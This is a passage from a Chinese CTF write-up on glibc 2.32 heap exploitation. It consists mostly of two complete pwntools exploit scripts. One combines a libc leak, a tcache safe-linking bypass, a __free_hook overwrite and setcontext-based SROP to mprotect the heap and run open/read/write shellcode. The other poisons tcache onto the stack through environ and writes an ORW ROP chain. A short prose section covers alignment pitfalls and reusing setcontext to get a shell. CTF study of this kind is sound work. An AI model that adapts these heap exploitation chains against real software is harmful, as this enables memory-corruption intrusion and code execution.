    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x440)
add(1,0x10)
free(0)
add(1,0x10)
edit(1,1,b'b')
show(1)
libcbase=u6(6)-0x1e3f62-0x100
se=libcbase+libc.sym['setcontext']+61
fh=libcbase+libc.sym['__free_hook']
magic=libcbase+0x14b761
ph(libcbase)
add(1,0x80)
add(2,0x80)
free(1)
show(1)
key=u6(3)
free(2)
ph(fh)
ph(key)
heap=key<<12
edit(2,0x8,p64(fh^key))
add(3,0x80)
add(4,0x80)
edit(4,0x18,p64(magic)+p64(0)+p64(heap+0x710))
srop = SigreturnFrame()
srop.rsp = libcbase+libc.sym['__free_hook'] + 0x10
srop.rdi = heap
srop.rsi = 0x1000
srop.rdx = 7
srop.rip = libcbase+libc.sym['mprotect']
pay=flat({
0x0:0,
0x8:heap+0x2a0,
0x20:se},filler=b'\x00')+bytes(srop)[0x28:]
edit(0,0x200,pay)
add(7,0x500)
ph(heap)
pay=asm(shellcraft.open('./flag',0))+asm(shellcraft.read(3,heap+0x300,0x50))+asm(shellcraft.write(1,heap+0x300,0x50))
edit(7,0x500,pay)
ph(magic)
ph(libcbase)
free(0)
ti()

往栈上写rop链变化不大,只是在2.32tcache有safelinking以及对申请地址的16字节对齐检查,并且因为每个tcache申请后会把他的key值(申请地址+0x8的位置)所以假如我们想申请的返回地址不是16字节对齐的,那我们就得往返回地址的低地址去申请了。比如返回地址是0x28,正常理解我们应该申请0x20这个地址对吧,但是这样会在清零key值的时候直接把返回地址清零,如果在add中不能输入的话那就会直接报错了,而这题就是如此,所以在例子里我们这里申请0x8就可以了。这题就是要往低了申请。

打栈上rop的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x440)
add(1,0x10)
free(0)
add(1,0x10)
edit(1,1,b'b')
show(1)
libcbase=u6(6)-0x1e3f62-0x100
se=libcbase+libc.sym['setcontext']+61
fh=libcbase+libc.sym['__free_hook']
magic=libcbase+0x14b761
ph(libcbase)
add(1,0x80)
add(2,0x80)
add(3,0x80)
free(1)
show(1)
key=u6(3)
free(2)
ph(fh)
ph(key)
rax=libcbase+0x45580
rdi=libcbase+0x2858f
rsi=libcbase+0x2ac3f
rdx=libcbase+0x1597d6
end=libcbase+0x611ea
st=libcbase+libc.sym['environ']
edit(2,8,p64(st^key))
add(1,0x80)
add(2,0x80)
show(2)
stack=u6(6)-0x110-8-0x40
free(1)
free(3)
edit(3,8,p64(stack^key))
pay=flat(rax,2,rdi,stack+0x100,rsi,0,end,rax,0,rdi,3,rsi,stack+0x100,rdx,0x100,0,end,rax,1,rdi,1,rsi,stack+0x100,rdx,0x100,0,end)+b'./flag\x00\x00'
add(1,0x80)
add(4,0x80)
ph(stack)
edit(4,0x300,b'b'*0x28+pay)
ti()

这个脚本不知道为啥失败的概率挺高的,不知道是不是patch的问题。

总结

这里我主要也是抛砖引玉了,实际的情况不会这么简单,但我觉得关键还是setcontext这个函数,这个函数还是挺好用的,只要我们能控制一个:第一个参数指向我们可控的内存的函数指针,不管是什么版本,都是可以通过以上手法getshell的。在2.34之前是freehook,之后是IO或者是题目自己的结构......感觉还是挺有意思的。